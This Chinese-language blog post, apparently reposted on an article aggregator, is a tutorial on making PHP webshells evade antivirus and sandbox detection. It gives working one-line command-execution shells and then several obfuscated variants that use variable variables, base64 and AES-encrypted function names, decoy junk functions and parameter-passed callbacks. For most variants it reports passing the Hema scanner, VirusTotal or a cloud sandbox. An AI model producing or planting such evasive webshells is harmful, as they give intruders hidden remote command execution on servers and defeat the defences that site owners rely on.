PHP webshell 免杀方法

news2024/11/26 11:47:24

本文介绍php类webshell简单的免杀方法,总结不一定全面,仅供读者参考。

webshell通常可分为一句话木马,小马,大马,内存马。

一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;

小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;

大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;

内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。

下面以一句话木马为例,通过几种一般的免杀方式对其进行免杀处理。

一句话木马

下面是常见的命令执行一句话木马:

<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>

在做免杀的时候,不仅需要避免木马被杀毒软件和安全工具检测到,同时还需要保证木马功能正常运行。

在 windows10/11 虚拟机上利用 phpstudy 搭建一个本地网站,本实验木马放在网站下的 free-kill 目录中。编写好原始的一句话木马命名为 test0.php 

<?php echo shell_exec($_GET['xxx']); ?>

执行 echo hack 命令验证功能:

 使用河马webshell查杀(SHELLPUB.COM在线查杀),可以轻易检测出来:

 可变变量绕过

一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。下面通过把 shell_exec 隐藏到可变变量中实现:

<?php 
$v="x";
$$v="shell_exec"; #相当于是 $x="shell_exec";
echo $x($_GET['xxx']); 
?>

 河马查杀能检测出来:

 单纯的可变变量特性一般过不了杀软,该方法通常需要和其他绕过方法配合使用。

各种加密绕过

将特征函数先用某种加密方式加密,再解密。

比如简单的base64加密

在木马中把密文解密后调用:

<?php 
$v=base64_decode("c2hlbGxfZXhlYw==");
echo $v($_GET['xxx']); 
?>

功能验证

 简单的加密过不了杀软,还是能被检测出来:

但是,可以考虑和代码混淆一起使用。在代码中加入与主要功能无关的代码,可以干扰分析工具和反病毒软件的检测,提高隐蔽性。

在此基础上,增加safe_waf和Safe两个无用函数并调用:

<?php 
function safe_waf(){
    $data1 = "1qazxsw23edcvfr45tgb";
    $data2 = "1qazXSW@3edcVFR$6yhn";
    $data3 = "!QAZxsw2#EDCvfr4%TGB";
    for ($i = 0; $i < 10; $i++) {
        $data1[$i % strlen($data1)];
    }
    $a = 5;
    $b = 10;
    $c = $a + $b;
    $a_safe = array();
    for ($j = 0; $j < 10; $j++) {
        $a_safe[] = md5($j.$data2);
    }
    return $c;
}

function Safe(){
    $t = "1qazxsw23edcvfr45tgb";
    $result = strrev($t);
    return $result;
}

function DD($Data) {
    return base64_decode($Data);
}
safe_waf();
echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']);
Safe();
?>

 修改后可以过通过河马

VT分析平台(VirusTotal)也能通过所有杀软:

然而可以被云沙箱检测出来(安恒云沙箱):

 此外,加密函数可以考虑采用更复杂的加密,比如AES加密。

首先写一个加密代码,在本地生成一个key和密文:

<?php

function generateKey($length = 32) {
    return openssl_random_pseudo_bytes($length);
}
function encrypt($data, $key) {
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
    $ciphertext = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $ciphertext);
}

$key = generateKey();
$original_data = "shell_exec";
$encrypted_data = encrypt($original_data, $key);
echo "key = " . bin2hex($key) . "\n";
echo "Encrypted Data: " . $encrypted_data . "\n";
?>
key = 88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4
Encrypted Data: xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=

然后在木马中传入密文和key,并写一个解码函数:

<?php
function DD($Data, $k) {
    $data = base64_decode($Data);
    $len = openssl_cipher_iv_length('aes-256-cbc');
    $iv = substr($data, 0, $len);
    $c = substr($data, $len);
    return openssl_decrypt($c, 'aes-256-cbc', hex2bin($k), OPENSSL_RAW_DATA, $iv);
}

echo DD("xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=","88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4")($_GET['xxx']); 
?>

样例 test3.php 功能验证:

该样例可以逃过安恒的沙箱查杀:

试一试河马和VT,也可以通过: 

 

传参绕过

可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。

<?php
$v=$_GET['func'];
$v($_GET['xxx']);
?>

此时可以把func传参为system,把xxx作为命令。

该方法可以与回调函数结合:

<?php
$f=$_GET['func'];
$v=$_GET['xxx'];
call_user_func($f,$v);
?>

结合前面的加密绕过思路,加密call_user_func函数:

 

<?php
function DD($Data) {
    return base64_decode($Data);
}
$f=$_GET['func'];
$v=$_GET['xxx'];
DD("Y2FsbF91c2VyX2Z1bmM=")($f,$v);
?>

该例子仍能被河马查杀:

 读者可以采用更复杂的加密函数尝试。

传参混淆

使用php中的分隔函数,用某个符号把传入的参数做一个分隔,再结合回调函数调用执行。

<?php
function DD($Data) {
    return base64_decode($Data);
}
$a = explode("!",$_GET['s']);
DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]);
?>

这里,攻击者可以传入 s=system!echo hack 达到目的。

 

 该方法可以避开河马查杀:

 VT上通过所有杀软:

沙箱检测也顺利绕过:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1929991.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大厂必争之地!AI搜索产品万字长文分析

多年以前&#xff0c;百度、谷歌等就在开始做智能搜索&#xff0c;但彼时的智能搜索只是对搜索结果的简单整理归纳&#xff0c;效果并不如人意。当前AI爆火&#xff0c;在AI的加持下&#xff0c;搜索会不会更强大一些呢&#xff1f;其实并不是&#xff0c;至少当前AI搜索的使用…

MyBatis源码中的设计模式2

组合模式的应用 组合模式介绍 组合模式(Composite Pattern) 的定义是&#xff1a;将对象组合成树形结构以表示整体和部分的层次结构。组合模式可以让用户统一对待单个对象和对象的组合。 比如&#xff1a;Windows操作系统中的目录结构&#xff0c;通过tree命令实现树形结构展…

安装 MySQL,修改用户名、放通外部机器访问

Hello&#xff0c;好记性不如烂笔头~ 虽说不会经常部署 MySQL &#xff08; OS&#xff1a;当然了&#xff0c;这服务不是公司部署好等着用就好了吗~&#xff1f;&#xff09; 但&#xff01;作为程序员、能够随手、无卡顿的部署并使用一个新的数据库 / 数据库集群也算是基操了…

【Blockly图形化积木编程二次开发学习笔记】1.工具箱的实现

文章目录 Blockly 版本选择上手 Blockly 版本选择 在【兰州大学】Blockly创意趣味编程【全36讲】主讲教师&#xff1a;崔向平 周庆国中提到&#xff0c;在18年6月份之前的版本中&#xff0c;可以通过安装依赖库的方式&#xff0c;打开开发者工具的离线版本&#xff0c;但是新版…

AWS CDN新增用户ip 地区 城市 响应头

1.需要自定义cdn缓存策略 这里的策略也是先复制之前的cdn策略哈 最后复制完了 全部新增这两条标头key CloudFront-Viewer-Country CloudFront-Viewer-City 2.然后新增cdn函数&#xff0c;应用你写的这个函数 function handler(event) {var request event.request;var respon…

Raw Socket(二)循环队列收发数据

完整代码在&#xff1a; 添加链接描述 其中tcp_handshake文件夹是实现TCP三次握手的demo。 完整代码参考&#xff1a; https://github.com/praveenkmurthy/Raw-Sockets 代码实现基于raw socket的TCP协议&#xff0c;发送http请求包并接收回包&#xff0c;…

JAVA中的Prim和Dijkstra问题详解

1.概念 Prim算法是一种计算加权无向图的最小生成树的算法。所谓最小生成树&#xff0c;是指一个图的子图&#xff0c;它包含图中所有的顶点&#xff0c;并且有保持图连通的最少的边&#xff0c;且所有边的权值之和最小。Prim算法的基本思想是从图中任意一个顶点开始&#xff0…

Go Web开发框架之Gin

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

【香橙派AiPro】基于VGG16的火灾检测模型预测

目录 引言开发板介绍开发板使用准备工作工具文档 拨码开关镜像烧录连接开发板下载MobaXterm网线-SSH连接开发板设置WIFI连接WIFI-SSH连接开发板确定开发板IP方法 Vnc可视化WindowsiPad 开发工具安装 散热风扇基于VGG16的火灾检测模型预测数据集准备目录结构代码操作 安装宝塔最…

pico+unity手柄和摄像机控制初级设置

1、摄像头配置 摄像头模式、floor是追踪原点类型&#xff08;将根据设备检测到地面的高度来计算追踪原点&#xff09;&#xff0c; Device 模式时&#xff0c;为通常理解的 Eye 模式&#xff0c;不会将根据设备检测到地面的高度来计算追踪原点 选择floor时&#xff0c;修改相…

UE4-初见虚幻引擎

一.创建自己的工程 1.启动 a.通过桌面双击图标来打开对应版本的虚幻引擎 b.通过EPIC启动器开启动虚幻引擎 2.选择或新建项目 ps:高版本虚幻编辑器可以打开低版本的虚幻项目&#xff0c;但是高版本虚幻的项目不可以由低版本的虚幻编辑器打开。 3. 选择要打开的项目 4.选择模版 选…

Linux桌面环境手动编译安装librime、librime-lua以及ibus-rime,提升中文输入法体验

Linux上的输入法有很多&#xff0c;大体都使用了Fcitx或者iBus作为输入法的引擎。相当于有了一个很不错的“地基”&#xff0c;你可以在这个“地基”上盖上自己的“小别墅”。而rime输入法&#xff0c;就是一个“毛坯别墅”&#xff0c;你可以在rime的基础上&#xff0c;再装修…

Win10+Docker环境使用YOLOv8 TensorRT推理加速

这一部分内容和WSL-Ubuntu20.04环境使用YOLOv8 TensorRT推理加速-CSDN博客 是基本相同的,有细微差别我也会在文中指出来。 1.TensorRTX下载 这里使用Wang-xinyu大佬维护的TensorRTX库来对YOLOv8进行推理加速的演示,顺便也验证一下前面环境配置的成果。 github地址:GitHub -…

windows10 背景如何变成护眼淡绿色

windows10 背景如何变成护眼淡绿色&#xff0c;office、输入窗口、网页前景、通讯软件光标全是变绿&#xff0c;保护色。 1、运行窗口输入 regedit 2、计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\DefaultColors\Standard 侧面的window名称数…

浏览器确定是否停留在当前Tab页面

切换页面时打印页面状态如图&#xff1a; 这里用到了visibilitychange事件。 document.addEventListener(visibilitychange,function(){console.log(document.visibilityState)})

Vue和Element UI 路由跳转

在Vue.js中&#xff0c;使用Vue Router可以方便地实现页面之间的路由跳转。Element UI是一个基于Vue 2.0的桌面端组件库&#xff0c;它本身并不直接提供路由跳转的功能&#xff0c;但你可以在使用Element UI的Vue项目中结合Vue Router来实现这一功能。 以下是一个基于Vue和Ele…

JavaScript进阶(四)---js解构

目录 一.定义&#xff1a; 二.类型&#xff1a; 1.数组解构&#xff1a; 1.1变量和值不匹配的情况 1.2多维数组 2.对象解构 3.对象数组解构 4.函数参数解构 5.扩展运算符 一.定义&#xff1a; JavaScript 中的解构&#xff08;Destructuring&#xff09;是一种语法糖&…

基于Ubuntu2310搭建openstack高可用集群B版

openstack-ha 环境初始化安装haproxy安装keepalived数据库集群高可用rabbitmq集群高可用memcache集群配置 keystone高可用glance高可用placement高可用nova高可用neutron高可用horizon高可用 本实验使用两台节点master和node配置haproxy高可用&#xff0c;keepliaved配置主备抢…

H5 Svg 半圆圆环占比图

效果图 主逻辑 /* 虚线长度 */ stroke-dasharray /* 偏移 */ stroke-dashoffset 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge&qu…

sentinel网关限流配置及使用

sentinel控制台源码&#xff1a;https://download.csdn.net/download/yixin605691235/89543923 sentinel控制台jar包&#xff1a;https://download.csdn.net/download/yixin605691235/89543931 不同环境直接修改jar包中的application.yml文件中的nacos地址就可以了。 一、网关限…